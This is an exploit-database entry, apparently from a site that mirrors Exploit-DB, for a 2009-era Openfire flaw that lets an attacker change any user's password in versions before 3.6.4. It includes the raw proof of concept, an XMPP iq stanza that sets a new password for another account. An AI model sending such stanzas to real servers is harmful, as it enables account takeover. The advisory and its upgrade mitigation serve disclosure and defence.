header-logo
Suggest Exploit
vendor:
Openfire
by:
SecurityFocus
7.5
CVSS
HIGH
Password Change Vulnerability
200
CWE
Product Name: Openfire
Affected Version From: Prior to 3.6.4
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: openfire
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Openfire Password Change Vulnerability

Openfire is prone to a vulnerability that can permit an attacker to change the password of arbitrary users. Exploiting this issue can allow the attacker to gain unauthorized access to the affected application and to completely compromise victims' accounts.

Mitigation:

Upgrade to Openfire version 3.6.4 or later.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/34804/info

Openfire is prone to a vulnerability that can permit an attacker to change the password of arbitrary users.

Exploiting this issue can allow the attacker to gain unauthorized access to the affected application and to completely compromise victims' accounts.

Versions prior to Openfire 3.6.4 are vulnerable.

<iq type='set' id='passwd_change'>
<query xmlns='jabber:iq:auth'>
<username>test2</username>
<password>newillegalychangedpassword</password>
</query>
</iq>

Navigation

Suggest Exploit

Services By CQR